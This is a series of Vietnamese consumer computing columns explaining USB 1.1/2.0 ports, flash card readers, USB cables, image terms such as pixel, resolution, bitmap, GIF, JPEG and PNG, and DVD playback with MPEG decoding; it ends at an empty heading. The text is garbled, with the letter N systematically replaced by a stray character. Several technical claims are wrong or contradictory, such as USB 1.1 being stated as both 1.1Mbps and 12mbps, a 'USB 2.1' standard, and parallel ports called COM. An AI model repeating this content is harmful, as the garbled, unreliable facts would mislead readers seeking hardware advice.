Đáp: Đại đa số các loại mother với con chIP CPU chạy với tốc độ trên 1.3G các chỗ cắm USB đều thuộc loại 2.0 (như đã giải thích trong bài viết vừa qua tốc độ chuyển dữ kiện của USB 2.0 là 480Mbps trong khi đó của USB 1.1 là 1.1Mbps) còn các loại CPU chạy dưới tốc độ 1.3G trên mother board nếu có chỗ cắm USB thì thuộc loại 1.1 nên những chỗ cắm USB 1.1 này sẽ bị trở ngại nếu gặp những loại device chạy với tốc độ yêu cầu USB phải là 2.0.

Đưa ra một thí dụ rất phổ biến khi mua sắm một ổ External DVD burner, ổ sao chép DVD này dùng USB 2.0. ả ếu cắm vào USB motherboard, trong tiến trình cài đặt nhu liệu DVD sẽ nhận được lời nhắn trên màn hình ‘’need to upgrade to USB 2.0 or your USB1.1 does not match by required’’ lời nhắn này báo hiệu cho người sử dụng hiểu rằng hệ thống USB đang có trong máy thuộc loại USB1.1 trong khi đó ổ sao chép DVD yêu cầu phải là USB2.0 nên phải cải thiện hệ thống USB thành 2.0. Tại sao phải dùng tiêu chuẩn 2.0 thay vì 1.1 đã có sẵn ? ả hìn vào sự khác biệt tốc độ vận chuyển cả hai 1.1 và 2.0 từ 1.1mbps lên tới 480mbps nên thời gian ghi chép trên mặt dĩa DVD được rút ngắn đi rất nhiều đưa đến thời gian làm việc của máy sao chép DVD thọ hơn nên một trong những tiêu chuẩn khi sử dụng ổ external DVD burner USB phải thuộc loại 2.0.

Tất cả USB build in trên motherboard cho cả hai loại Laptop và Desktop đều không thay đổi được tốc độ 1.1. Muốn chuyển sang loại USB2.0 phải gắn thêm USB2.0 card tùy theo loại:

- Desktop - PCI USB 2.0 card
- Laptop - USB 2.0 Laptop PC Card

Trong khi đó nếu có USB2.0 mà vẫn sử dụng Windows 98 hoặc ME cũng đưa đến những vấn đề trở ngại khác khi gắn ổ sao chép DVD.

ả ói tóm lại USB2.0, Windows và các device sử dụng qua chỗ cắm USB đều phải có sự tương quan và cập nhập hóa cả hai nhu liệu và device. ả ếu một trong hai phần này thiếu sót sẽ bị trở ngại trong vấn đề thao tác hoặc sự làm việc của device đó.

Hẹn quý vị độc giả điện toán vào kỳ tới cũng qua kỹ thuật USB liên quan tới các bộ phận máy chụp hình, quay phim, và các loại dĩa Media Flash Cards.

So sánh các dàn máy điện toán trong những năm về trước rất giản tiện, đơn thuần một máy điện toán chỉ vỏn vẹn một vài bộ phận như màn hình (monitor), bộ gõ (keyboard), con chuột (mouse), đầu máy điện toán (computer) và máy in (printer). Hiện nay sự cải thiện không ngừng và áp dụng kỹ thuật điện toán trong cuộc sống hằng ngày, một máy điện toán có thể làm rất nhiều lĩnh vực nên rất nhiều bộ phận liên quan như:

- Ấn loát: Máy in, sao chép, scan, fax v.v...những loại máy tổng hợp này hay thường được gọi là 6 in 1 (1 máy có 6 chức năng truyền thông), máy in hình màu trong kỹ nghệ chụp hình, máy in nhãn hiệu dĩa DVD hoặc CD.

- Hình ảnh: Máy quay phim (camera, cam recroder, mini cam v.v...), máy chụp hình số (digital camera)

- Linh kiện điện toán phụ trội: Ổ chứa bên ngoài (external hard drive), ổ sao chép CD hoặc DVD (external DVD/CDR-W), ổ ZIP driver, ổ Media reader.

- Âm thanh (speaker): Các âm thanh 3 chiều, âm thanh nổi, âm thanh trầm được dùng cho các loại nhu liệu trong 3D games (cho chơi điện tử 3 chiều với âm thanh nổi) nên hệ thống âm thanh (speaker) cũng trở thành nhu cầu đòi hỏi chất lượng âm thanh cao với những hệ thống bao gồm luôn cả base, trep, surround sound...

- Hình ảnh: Chuyển từ tube sang màn hình dẹp với kích thước màn hình rất rộng về bề ngang và độ phân giải (resolution) thật nhiều, người nhìn ở bất cứ góc cạnh nào cũng không thấy những nét rỗ trên màn hình.

- **Điện thoại**: Có thể dùng điện thoại qua internet với giá thành rất thấp và cuộc cách mạng kỹ thuật điện thoại sẽ từ từ được thay thế sử dụng qua mạng internet vì sự tiện dụng và giá thành thấp.

Thông thường hai hệ thống âm thanh và hình ảnh phải qua hai bộ phận sound card, video card ngoài ra những bộ phận linh kiện còn lại đều dùng đầu cắm USB trên motherboard.

Quay lại USB (universal serial bus) là một kỹ thuật được sử dụng rộng rãi trong một hệ thống điện toán với chức năng tạo sự liên lạc giữa motherboard và các bộ phận linh kiện riêng rẽ ngoài máy điện toán. Kỹ thuật USB rất tiện lợi vì đặc tính thông tin Serial Bus có thể làm việc nhiều bộ phận linh kiện khác nhau cùng một lúc không phải mất thời gian chờ đợi, trong khi. Khi nói đến USB phải liên quan đến tốc độ chuyển hồ sơ của nó. Các tốc độ này được quy định rất rõ ràng qua các danh từ kỹ thuật như USB 1.0, USB 1.1, USB 2.0, và USB 2.1. Tốc độ chuyển dữ kiện (transfer rate) của USB cũng được cải thiện từ USB1.1 là 12mbps sang USB 2.0 là 480mbps nên nhìn ký hiệu USB1.2, 2.0 cũng hình dung được sự khác biệt chậm và nhanh như thế nào.

Dùng kỹ thuật USB, mother board sẽ nhận diện rất nhanh chóng các device mới và sau cùng cũng dễ dàng cho người sử dụng chỉ cần cắm dây USB vào hub USB computer là đủ.

Kỹ thuật thời xa xưa cho sự liên lạc giữa các device và computer đều dùng qua một kỹ thuật song song (parallel) mà các đầu cắm gọi là COM (communication). Một trong những thí dụ đơn giản nhất là máy in thời xa xưa đều dùng đầu giây cable 25pin và 50pin. Và hiện nay tất cả các máy in đều chuyển sang dùng USB 2.0, loại máy in sử dụng perralel cable hầu như không còn ứng dụng được nữa.

Chính vì những tiện lợi của kỹ thuật USB nên tất cả các linh kiện ngoài máy điện toán đều sử dụng đầu nối USB đưa đến nhu cầu một máy điện toán tối thiểu phải có ít nhất là 4 chỗ

cắm USB. ả hững loại motherboard cũ thông thường chỉ có hai chỗ cắm, nhiều khi những loại USB cắm này vẫn còn sử dụng loại USB 1.1 nên tốc độ chuyển hoán rất chậm và không đủ tiêu chuẩn cho những bộ linh kiện mới với yêu cầu căn bản là loại USB 2.0, đưa đến điều kiện phải gắn thêm một bộ phận trên mother board nữa gọi là USB 2.0 PCI card. Thông thường USB card này có thêm 4 chỗ để cắm và cũng từ đó nên cắm các bộ phận linh kiện điện toán vào những USB hub này.

Kỹ thuật USB có rất nhiều ưu điểm của nó nên khi mua sắm một máy điện toán mới, ngoài các vấn đề về tốc độ của CPU, hard drive có sức chứa bao nhiêu, memory có bao nhiêu mega bytes và độ phân giải (resolution) của video card, còn phải xem thêm bao nhiêu chỗ cắm của USB, nếu 2 chỗ thì qúa ít và sẽ bị trở ngại sau này khi gắn nhiều các linh kiện bên ngoài của máy điện toán mà không đủ chỗ cắm USB.

Dây cắm USB cũng đơn giản cấu trúc bên trong chỉ có 4 sợi dây điện nhỏ nối thẳng từ đầu này sang đầu kia theo thứ tự từ 1 cho tới 4. Trong đó có 2 sợi dành cho power và hai sợi còn lại dùng để giao lưu về dữ kiện nên thỉnh thoảng một vài bộ linh kiện bên ngoài máy điện toán chỉ cần cắm vào USB là đủ không cần cục điện biến thế (power adapter) vì sử dụng luôn nguồn điện trong USB. Các dây cắm USB này thông thường khi mua sắm các thiết bị quay phim như Camera, Cam recorder v.v...đều có dây USB. Đặc biệt máy in trong một vài hãng sản xuất không có bao gồm dây USB phải mua sắm riêng.

Theo sự tiến hóa và cải thiện không ngừng các chức năng của máy điện toán trong đời sống hằng ngày, USB cũng là một trong những kỹ thuật tuy nhỏ nhưng có hiệu năng và tác dụng rất cao trong vấn đề liên lạc giữa các bộ phận bên ngoài máy điện toán nên người mua sắm bất cứ một máy điện toán cũng phải biết loại USB nào gắn trên motherboard và có bao nhiêu chỗ cắm của USB. Xin hẹn quý vị độc giả điện toán trong bài đọc kỳ tới với những kiến thức điện toán tổng quát đưa đến sự chọn lựa một máy điện toán trong tương lai cho phù hợp.

Flash Media Reader và kỹ thuật USB trong Windows

Kỹ nghệ ứng dụng nghệ thuật chụp hình trong điện toán không còn xa lạ trong đời sống hằng ngày, đại đa số các máy chụp hình, quay phim đều chuyển sang kỹ thuật digital (hay còn gọi là kỹ thuật số) như digital camera, cam recorder, mini cam v.v...tất cả các hình ảnh, phim hình đều chuyển sang các tiêu chuẩn mã số quốc tế, chuyển các tiêu chuẩn này vào máy, sau đó dùng nhu liệu hoá giải và hình ảnh hiện lên màn hình rất rõ kèm luôn cả âm thanh. Một trong những tiện lợi của loại hình ảnh hoặc phim (video) thuộc dạng kỹ thuật số cho điều chỉnh hình ảnh đẹp hơn trước khi in ra giấy in hình ảnh như giấy Kodak chẳng hạn. Bài viết tới sẽ đi sâu vào các chi tiết kỹ thuật các liên quan sự chuyển mã số như thế nào và nên có những nhu liệu nào trong computer liên quan tới lãnh vực hình ảnh và phim hình. Trong bài này quý vị độc giả tìm hiểu thêm những bộ phận (device) cần thiết giữa máy điện toán và digital camera hoặc cam recorder. Muốn chuyển các nhu liệu từ digital camera vào trong máy điện toán có 2 cách:

- Trực tiếp mỗi máy digital camera đều có chỗ cắm dây cable nối từ máy tới USB của computer. ả ếu xài Windows XP thì chỉ trong thời gian vài giây Window sẽ nhận diện được new device digital camera qua chỗ cắm USB, Windows sẽ tạo một icon device trên my computer và sau đó vào my computer sẽ thấy tên của digital camera đó, mở các file trong máy chuyển sang ổ hard drive của computer. Khi hết sử dụng, icon digital camera cũng sẽ mất đi và icon này sẽ xuất hiện trở lại khi khi nối cable giữa digital camera và máy điện toán.

- Gián tiếp mỗi máy digital camera đều sử dụng một bộ phận để lưu trữ hình ảnh, bộ phận lưu trữ các nhu liệu hình ảnh này danh từ kỹ thuật gọi là flash memory. Chức năng của flash memory được sử dụng giống như chức năng của floppy chỉ khác nhau về sức chứa và hình dáng khác nhau mà thôi. Rất đơn giản chỉ cần lấy flash memory gắn vào trong flash memory card reader và sau đó chuyển vào trong folder của máy điện toán.

Qua hai kỹ thuật chuyển hồ sơ hình ảnh bằng trực tiếp và gián tiếp. Loại gián tiếp tương đối đơn giản, thực tế và dễ sử dụng hơn loại chuyển trực tiếp. Muốn sử dụng kỹ thuật

gián tiếp cần phải thêm một bộ phận đọc loại flash memory này nên một trong những loại device đã trở thành căn bản trong một máy điện toán mới hiện nay đó là Flask media reader. Các loại máy điện toán mới trên thị trường hiện nay không còn sử dụng floppy disk 3.5 và floppy 3.5 trở thành một bộ phận phụ trong máy điện toán mới. Muốn gắn floppy 3.5 thì phải thêm chi phí phụ trội, và thay vào đó là một device rất đa dụng flash media reader.

Floppy disk 3.5 Flash Media Reader

Flash media reader được chia thành hai loại External và Internet. ả hưng cả hai loại này đều sử dụng qua kỹ thuật giao chuyển USB và dĩ nhiên USB 2.0 hoặc USB 2.1 đã trở thành tốc tiêu chuẩn cho bất cứ một USB device nào.

Hỏi: *USB device có khác biệt về dây cable nối giữa device và USB computer không ?*

Đáp: Dĩ nhiên là có, thực tế trên thị trường điện toán có hai loại dây USB thông dụng nhất đó là USB Digital Camera cable và USB cable.

Dây USB cable được sử dụng vào các external device như máy in, máy fax, external CD/DVD burner, external hard drive, thỉnh thoảng một vài loại digital camera thời xa xưa vẫn sử dụng loại USB cable v.v...

Dây USB Media cable hay còn gọi tắt là Mini USB cable loại này thông thường chỉ sử dụng cho các loại digital camera, cam recorder, mini cam v.v...

USB cable USB mini cable hoặc USB Media Cable

ả ên người sử dụng điện toán ít nhất phải biết loại dây USB nào cho loại device gì, phải sử dụng hoặc dùng đúng danh từ để diễn tả loại cable đó. Và thêm một chi tiết khác nữa dây cable không ảnh hưởng tới tốc độ chuyển hồ sơ giữa hai device và máy điện toán, tốc độ hoán chuyển này hoàn toàn dựa vào các cấu trúc của các mạch điện tử của cả bên trong máy digital camera và điện toán. Cấu trúc các mạch điện tử này mới chính là bộ phận quyết định cho tốc độ hoán chuyển cho cả đôi bên.

Hỏi: *Sự tiện dụng như thế nào khi sử dụng flash media reader ?*

Đáp: Các máy digital camera, cam recoder, mini cam v.v...quy tụ có thể chứa các nhu liệu trong một bộ phận gọi là flash memory. Flash memory hình dáng giống như là một con chIP nho nhỏ nhiều kích thước khác nhau và cách gọi tên mỗi loại flash memory card đều khác biệt để dễ phân biệt như: Secure digital (SD), smart media (SM), Memory stick, Memory stick Pro, Multimedia, Compact Flash I, II và IBM Micro drive. Vì mỗi loại Flash Card có cấu trúc và kích thước khác nhau nên cần phải có Card reader cũng đủ các loại kích thước cho flash Card. Ví dụ như một mẫu quảng cáo sau đây:

‘’Floppy Drive Plus 7 - in 1 flash Card reader, External USB 2.0’’ có nghĩa là bộ phận device này có chức năng đọc dĩa floppy 3.5, đọc 7 loại flash memorie cards khác nhau thông qua kỹ thuật hoán chuyển USB 2.0 và device thuộc loại gắn bên ngoài máy điện toán (external). Sử dụng loại gián tiếp flash card để hoán chuyển hồ sơ vào trong máy điện toán rất tiện lợi và có thể ứng cho cho nhiều loại flash card khác nhau song song đó sức chứa của các flash memory card càng ngày càng tăng hiện nay loại SD flash memory card có sức chứa lên tới 2 giga bytes dữ kiện.

Đón mong quý vị độc giả điện toán trong bài viết kế tiếp cũng liên quan tới các nhu liệu dùng để chỉnh hình ảnh, âm thanh cho cả Windows và device.

Danh từ kỹ thuật cho Digital Camera và các bộ phận liên hệ

Phần 1

Tiếp theo bài tham khảo tổng quát về Digital Camera và những kiến thức căn bản trong sự liên hệ giữa Digital Camera và một máy điện toán như thế nào trong bài viết vừa qua. Bài tham khảo này sẽ tìm hiểu sâu hơn những danh từ kỹ thuật liên quan tới lãnh vực nghệ thuật hình ảnh điện tử, đa số những danh từ này đều áp dụng chung cho máy in (printer), máy chụp sao chép (scanner), máy chụp hình điện tử (digital camera), máy quay phim (video camera) và màn hình (monitor).

Image Picture: Các hình ảnh điện tử sau khi được chuyển vào trong máy điện toán rồi thì bất cứ một hình ảnh nào cho phép người sử dụng điện toán có thể chỉnh hình, sửa màu sắc, thêm phong cảnh v.v...những loại hình ảnh này đều gọi là image picture. ả ên khi nghe tới danh từ Image Picture thì quý vị độc giả hiểu ngay rằng những hình này đã được chuyển sang một dạng hình điện tử và đặc tính những dạng hình điện tử này đều có thể sửa đổi được.

Ví dụ như scan một tấm hình cũ được chụp từ thời xa xưa, tấm hình nguyên thủy vẫn gọi là tấm hình nguyên thủy, còn hình hiện lên sau khi scan xong gọi là hình image và những loại hình image này đều cho phép sửa đổi những nội dung cũng như hình thức trình bày. Trên thực tế các loại hình này không có giá trị thực tiễn ngoại trừ được sử dụng với mục đích cho người xem biết nội dung mà thôi. Tuy nhiên sự trưng bày các hình image này được rõ nét hay không đều dựa vào chỉ số pixel, chỉ số pixel rất quan trọng làm cho hình ảnh rõ nét hay không? Chỉ số càng cao hình ảnh càng rõ nhưng ngược lại sẽ ảnh hưởng trực tiếp tới ổ hard drive sẽ không đủ chỗ chứa. Chính vì lý do này nên các hình image trên các web đều trưng bày với chỉ số pixel thấp nhất, gói ghém trong một hình nho nhỏ nhưng cũng đủ cho người đọc nhận thức được nội dung của tấm hình, vì chỉ số pixel nhỏ nên khi phóng to tấm hình với kích thước gấp 3 hoặc 4 lần lên thì sẽ thấy hình bị loang lỗ, không ít thì nhiều quý vị đã từng lấy những hình ảnh trưng bày trên web xuống khi phóng to ra bị trở ngại về phẩm chất của hình ảnh là vậy. ả ên những hình ảnh trên Web tốt hay xuất cũng tùy vào những nhà thiết kế mạng nhện (web design)

Pixel: Pixel là danh từ được ra đời từ cấu trúc của hai chữ picture element để diễn tả riêng biệt về hình ảnh điện tử. Đây là cấu trúc đơn vị căn bản nhất được dùng để lượng định chất lượng trưng bày trên màn hình cũng như hình ảnh image picture. Dĩ nhiên pixel không hẳn là một đơn vị đo lường vật lý như đơn vị trọng lượng (g), đơn vị thể tích (l), hoặc đơn vị đo lường (m), picture element hoặc pixel nghiêng về lý thuyết tượng trưng của một đơn vị để diễn tả hình ảnh trên phương diện điện toán và đặc biệt trong kỹ thuật digital camera. Pixel luôn luôn tùy thuộc vào sự sắp đặt chỉ số của resolution trong máy. Chỉ số resolution càng cao thì pixel sẽ càng nhiều và hình ảnh sẽ rõ nét hơn. Tuy vậy có một điểm nho nhỏ cần phải chú ý đó là sự sắp đặt để chỉnh các chỉ số resolution tùy thuộc vào các nhà sản xuất video card trên các hệ số băng tần màu khác nhau như hệ số: 256, 16, 24, and 32 bit nên chọn lựa một video card rất quan trọng. ả ên qua phần trình bày trên đây chắc quí độc giả điện toán đều thấy sự liên hệ chặt chẽ giữa hai chỉ số pixel và hệ số băng tần resolution.

Resolution: Trên màn hình pixel được hiện lên màn hình theo trục ngang cũng như trục dọc giống như trong toán học gọi trục x và y. Tổng hợp các số pixel xuất hiện trên hệ thống màn hình hàng ngang và hàng dọc theo định nghĩa gọi là resolution. ả ên định nghĩa ngược lại resolution là tổng số pixel chứa trên màn hình theo hàng ngang và hàng dọc. Các pixel hàng ngang và hàng dọc đều dựa các hệ tần số màu khác nhau như đã trình bày phần trên 256, 16, 24 và 32 bits, mỗi tần số màu đều có giới hạn từ thấp cho đến cao các con số pixel hay nói cách khác là các chỉ số solution sẽ thấy khác biệt cho mỗi hệ số màu.

Và sự trưng bày trên màn hình rõ hay không rõ đều dựa vào sự sắp đặt của solution này. Các chỉ số phân giải (resolution) đều được quy định hàng ngang (horizontal) trước và hàng dọc (vertical). Một vài thí dụ căn bản trong resolution setup: 640x480, 800x600, 1024x768, 1280x1023. Chỉ số hàng ngang luôn luôn nhiều hơn chỉ số hàng dọc vì kích thước chiều ngang của monitor nhiều hơn chiều dọc hay nói rõ hơn là các chùm màu quang phổ (color spectrum) phóng ra trên màn ảnh kích thước chiều ngang hơn kích thước chiều dọc nên các chỉ số resolution cũng tương xứng là vậy.

ả hiều người lầm tưởng rằng màn hình monitor với kích thước to thì sẽ nhìn rõ hơn và nhiều hơn nhưng trên thực tế thì khác hẳn, màn hình kích thước lớn phải tương xứng với hệ số resolution mới rõ. ả ếu không điều chỉnh được hệ số resolution cho tương xứng có nghĩa là video card hoặc build in video chIP trên mother board không cho phép điều chỉnh nhiều hệ số khác nhau thì hình ảnh sẽ nhìn không rõ, cũng tương tự như vậy nếu dùng màn hình kích

thước nhỏ hơn sẽ thấy hình ảnh rõ hơn vì chỉ số pixel giống nhau nhưng trên màn hình nhỏ thì được thu gọn lại trong khi đó màn hình lớn giản nở ra nên màn hình nhỏ trông rõ nét hơn.

ả ói tóm lại pixel và resoluion rất quan trọng và phải hiểu thật tường tận khi đi sâu vào chi tiết digital picture và camera. Chỉ số pixel hoặc resolution càng cao thì chất lượng hình ảnh trên màn hình càng rõ nét. Sự rõ nét này cũng tùy thuộc vào kích thước lớn nhỏ của hình ảnh, hình ảnh muốn phóng càng lớn thì resolution càng cao, dĩ nhiên hình ảnh resolution càng rõ nét thì số mega bite càng lớn cho một tấm hình nhiều khi lên tới 15M cho một tấm hình. ả ên một trong những vấn đề quan tâm của các nhà video hoặc photographer là ổ chứa hard drive

Mong đón nhận bài điện toán kỳ tới tìm hiểu thêm về các danh từ chuyên môn trong ngành truyền thông và đặc biệt sự liên hệ giữa các Windows Media, Real Player tới các phim và hình ảnh lấy xuống từ trên các Web site

Phần 2

Tiếp theo phần 1 về các danh từ đã được tham khảo trong kỳ vừa qua như image picture, pixel và resolution, cũng trong sự tìm hiểu về sự quan hệ giữa digital camera và computer các danh từ trong kỹ thuật hình ảnh cần phải hiểu cặn kẽ thêm như bitmap, gif hoặc jpeg hoặc png là gì ? Bitmap, Jpeg, Gif và Png là một trong những dạng hình ảnh điện tử (digital hoặc picture image) rất quan trọng và căn bản nhất trong lãnh vực tìm hiểu về digital camera và digital picture. ả ên trang bị các kiến thức hiểu biết là điều cần thiết để khi chọn lựa một máy chụp hình điện tử hoặc khi điều chỉnh hình ảnh trong điện toán nhờ những khái niệm căn bản này quý vị mới tạo ra được những image như ý muốn.

Bitmap: ả guyên thủy không phải là một chữ bitmap, chính là hai đơn từ bit và map. Bit hoặc pixel để diễn tả cấu trúc đơn vị trưng bày trên màn hình, map để diễn tả một hình ảnh mà có số lượng pixel cố định. Ghép hai danh từ đơn lại thành bitmap. Bitmap không có tùy thuộc vào hệ số tiêu chuẩn màu (color code) nào trong kỹ thuật hình ảnh điện tử cho mỗi đơn vị bit hoặc pixel. Dạng bitmap chỉ có tính cách là một loại trưng bày hình ảnh rất đơn giản, nên chỉ số hình ảnh bitmap luôn luôn ít hơn chỉ số của các dạng hình ảnh khác như Jpeg hoặc Gif. ả hư quý vị hay vào Window display để thay đổi các hình ảnh trên màn hình đa số đều thuộc dạng bitmap. Đặc điểm bitmap là chất lượng màu sắc hình ảnh hiện trên màn hình sẽ không thay đổi, nhưng nội dung sẽ được hiện lên nhiều hay ít tùy thuộc vào sự điều chỉnh hệ số resolution. Giải thích tường tận hơn một chút nữa hệ số resolution càng cao thì khổ trưng bày của màn hình rộng hơn cho phép người sử dụng có thể nhìn thấy hình ảnh mà không phải di chuyển con chuột (mouse) nhiều.

ả ói tóm lại bitmap là một dạng để trưng bày hình ảnh đơn giản nhất và không lệ thuộc vào chất lượng của màu sắc, hình ảnh trưng bày to hay nhỏ trên màn hình (monitor screen hoặc background display) của dạng bitmap đều tùy thuộc vào sự điều chỉnh của resolution, giống như ta chọn một khung hình to hay nhỏ cho một tấm hình với kích thước cố định là vậy. Trong ký hiệu lưu trữ hình ảnh, nếu quý vị độc giả thấy ba mẫu tự sau cùng.bmp có nghĩa là hình ảnh này thuộc về dạng bitmap. Ví dụ: Houstoncity.bmp, Hollywood.bmp v.v...Vì bitmap là một dạng thuộc loại hình cố định (raster graphic) nên được sử dụng làm background trong Windows hơn là sử dụng dạng bitmap trong lãnh vực vẽ kỹ thuật.

GIF và JPEG: ả guyên văn của GIF là Graphics Interchange Format và JPEG nguyên văn là Joint Photographic EXPerts Group. Đây hai dạng hình ảnh lưu trữ hình ảnh căn bản nhất với nhiều chức năng và đặc tính của hai dạng hình ảnh này như:

- Có thể trao đổi hình ảnh qua email hoặc internet
- Trở thành dạng hình ảnh tiêu chuẩn để thiết kế các Website
- Cho phép thay đổi hình ảnh và màu sắc (color code) hoặc hệ số resolution
- Và hệ số resolution trở thành quyết định chính cho chỉ số bao nhiêu kilo bite hoặc mega bite trong một hình ảnh. Thông thường khi thiết kế một website, hình ảnh được trưng bày trong web được sử dụng với chỉ số thấp kilobite thấp nhất vớI mục đích xem nội dung

nhiều hơn là chất lượng hình ảnh và ngược lại trong digital camera thì được sử dụng tối đa tùy theo độ pixel của máy là bao nhiêu (sẽ đi nhiều chi tiết hơn về chỉ số pixel quan trọng như thế nào trong digital camera trong bài tham khảo tới).

Về kỹ thuật thì GIF thuộc về dạng 2D raster data và sau đó được hoán chuyển qua dạng binary, GIF có hai loại 87a và GIF89a, hiện nay GIF đang được sử dụng rộng rãi trong email hoặc internet chính là nguyên thủy của GIF89a. Trong khi đó Jpeg là dạng hình ảnh được thu gọn trong tiêu chuẩn compression quality. Loại tiêu chuẩn compression quality cho phép sửa chữa hay thay đổi chất lượng hình ảnh như sử dụng nhu liệu Photo Shop. Cả hai GIF và JPEG đều được sử dụng trong Internet và Jpeg được dùng nhiều hơn về chất lượng hình ảnh trong khi đó GIF được sử dụng để trao đổi hoặc thiết kế Web, nói chung cả hai dạng Gif và Jpeg là thuộc loại căn bản và cần thiết. Khi quý vị thấy ba chữ sau.jpg hoặc.gif đều thuộc về dạng GIF hoặc JPEG

PNG: ả guyên văn của danh từ Pả G là Portable ả etwork Graphic, đây là một dạng hình ảnh điện tử đang được ưa chuộng và trong tương lai gần sẽ dùng nhiều hơn dạng Gif vì cấu trúc dạng Pả G cho phép người sử dụng có thể cải thiện hình ảnh khá hơn nếu so với dạng Gif. Và trong tương lai Pả G có có nhiều lợi điểm như:

- Dạng Pả G có thể chuyển qua hình trong (transparent) và dạng hình trong này cho phép điều chỉnh độ đậm nhạt khác nhau
- Dùng Photoshop để edit hình với nhiều góc cạnh khác nhau và nhanh chóng hơn dạng Gif
- Có thể điều chỉnh màu trên tầng số Gamma cho phép điều chỉnh độ sáng tối bởi những góc độ gnhệ thuật đặc biệt
- Và hình ảnh có thể lưu trữ dưới hình thức True Color hoặc palette và gray-scale chỉ có một yếu điểm của dạng Pả G là không thể đưa qua dạng lập thể (animation) vì Pả G không thuộc loại hình ảnh hỗn hợp (multIPle images)

Với những danh từ kỹ thuật trong hình ảnh sẽ giúp quý vị độc giả điện toán rất nhiều khi chuyển sang loại phim ảnh và các danh từ chuyên môn. Mong đón nhận bài điện toán kỳ tới tìm hiểu thêm về các danh từ chuyên môn trong ngành truyền thông và đặc biệt sự liên hệ giữa các Windows Media, Real Player tới các phim và hình ảnh lấy xuống từ trên các Web site

PHIM ẢNH TRÊN DVD VÀ CÁC DANH TỪ KỸ THUẬT ĐIỆN TOÁN TRONG KỸ NGHỆ PHIM HÌNH

Phần 1:

ả gày nay ngoài kỹ nghệ chụp hình càng ngày càng đa dạng, sự cải thiện không ngừng các dạng lưu trữ hình ảnh theo dạng kỹ thuật số (digital image), song song đó kỹ thuật lưu trữ phim ảnh cũng không kém cải thiện và đáp ứng với nhu cầu người tiêu dùng. Trong hai bài vừa qua quý độc giả điện toán đã có dịp hiểu cặn kẽ các danh từ kỹ thuật điện toán (computer terminology-danh từ tiêu chuẩn trong điện toán) và bài viết này liên quan đến các danh từ kỹ thuật căn bản trong phim ảnh như movie và video.

Phim ảnh được lưu trữ trên dĩa DVD và xuất hiện trên màn hình TV theo một tiến trình như thế nào ?

Mặc dầu trữ lượng Gigabytes lưu trữ nhu liệu trên mặt dĩa càng ngày càng được cải thiện từ 4.7G sang 9.4G, nhưng vẫn không đáp ứng được nếu các nhu liệu phim ảnh lưu trữ trên dĩa DVD nếu các nhu liệu này không thuộc dạng dồn nén (un-compressed video data). Để giải quyết và cải thiện về vấn đề lưu trữ toàn bộ nội dung phim vào trong dĩa DVD, một dạng lưu trữ (format) được ứng dụng và cũng là dạng lưu trữ căn bản cho các loại DVD, dạng lưu trữ này thuộc dạng dồn nén (compressed video data) viết tắt là MPEG (moving picture eXPerts group).

Khi một dĩa phim DVD được bỏ vào trong đầu máy DVD theo những bước thứ tự sau để phim ảnh hiện lên màn hình TV:

- Đầu từ máy DVD sẽ rà trên mặt dĩa DVD để nhận diện hai phần: Dĩa DVD thuộc loại tracking gì và video data được lưu trữ dưới dạng format nào nếu một trong hai điều kiện đầu tiên bị trở ngại sẽ đưa đến một lời nhắn hiện lên trên đầu máy DVD ‘’no disc’’ đồng nghĩa máy DVD không nhận diện ra được ký hiệu tracking hoặc dạng movie được lưu trữ không đúng tiêu chuẩn.

- Và nếu trong một vài giây đầu máy DVD đọc được loại tracking và dạng video lưu trữ trên mặt dĩa. Lập tức máy DVD sẽ sử dụng MPEG-2 để mã hóa các dạng dồn nén sang dạng bị thường danh từ kỹ thuật diễn tả bước này gọi là decoder hay MPEG-2 decoder.

MPEG-2 là một loại nhu liệu đã được cài sẵn trong máy DVD, công việc của nhu liệu này là chuyển mã data từ compress sang uncompress và sau đó đưa hình ảnh xuất hiện trên màn hình TV cùng một lúc.

Hỏi: *Xin giải thích thêm về lời nhắn ‘’no disc’’ trên máy DVD.*

Đáp: Trước tiên để phân biệt danh từ cho chính xác để tránh ngộ nhận. ổ DVD để diễn tả các ổ DVD hoặc DVD burner (sao chép dĩa DVD) trong máy điện toán. Máy DVD để diễn tả các máy DVD hoạt động biệt cần phải thêm hệ thống chuyển tải âm thanh vào hệ thống loa hay còn gọi là audio mixer hay karaoke mixer hay dùng trực tiếp hệ thống loa của TV v.v... nói chung máy DVD hoạt động độc lập. Các loại máy DVD vào những thời kỳ phôi thai rất đa dạng có đầu máy chỉ đọc được loại dĩa DVD có đầu máy đọc được loại dĩa Tracking +, dĩa DVD. Chính vì yếu tố kỹ thuật này, nên nếu đầu máy DVD - mà dùng dĩa DVD + sẽ bị trở ngại vì đầu từ cảm ứng không nhận diện được loại tracking này đưa đến lời nhắn ‘’no disc’’. Mặt khác nếu dĩa DVD đã nhận diện không thấy lời nhắn ‘’no disc’’ nhưng vẫn không thấy hình ảnh xuất hiện trên màn hình cũng có nghĩa là các nhu liệu Video data được lưu trữ dưới dạng format đặc biệt mà loại decoder MPEG-2 không mã hóa được nên hình ảnh không giải màn để đưa lên màn hình chính là vậy. ả gày nay trên thị trường bất cứ một máy DVD nào cũng được hoàn toàn cải thiện từ nội dung tới hình thức, MPEG-4 được cài trong máy và có thể giải mã bất cứ một dạng DVD (video data format) trên thị trường, song song đó đầu cảm ứng điện từ DVD cũng nhận diện được các loại tracking chỉ trong vòng vài giây phim ảnh sẽ hiện lên màn hình. Một trong những tiêu chuẩn tốt nhất để chọn lựa một đầu máy DVD dựa trên những thông tin ghi chép trên bề mặt của máy DVD như:

- **Dual hoặc multi layer** có nghĩa là đầu cảm ứng từ trường laser đủ mạnh để đọc các loại dĩa hai lớp dữ kiện.

- **Digial imaging hoặc digital format** có nghĩ là trong máy DVD có trang bị nhu liệu MPEG-4 có thể đọc các dạng video data ghi chép trên mặt dĩa, chuyển compress sang uncompress video data và hình ảnh xuất hiện trên màn hình cho dù video data này thuộc dạng DVD hoạc VCD v.v...

- **Và sau cùng là MP3** có nghĩa là âm nhạc bất cứ ghi chép dưới dạng wav, hoặc mp3 đều hát được trên máy DVD.

Đây là những khái niệm rất căn bản trong lãnh vực phim hình liên quan tới hai bộ phận dĩa DVD và máy DVD. Riêng máy điện toán được trang bị ổ DVD và Windows XP. Trong nhu liệu điều hành Windows XP đã có đủ các nhu liệu giải mã cho tất cả về âm thanh và hình ảnh nên không bị trở ngại về vấn đề kỹ thuật.

Xin quý vị đón đọc bài điện toán kỳ tới liên quan tìm hiểu các danh từ kỹ thuật điện toán căn bản về điện ảnh, phim ảnh qua sự giải thích cặn kẽ từng danh từ giúp quí độc giả thêm kiến thức về lãnh vực phim ảnh.

Phần 2:

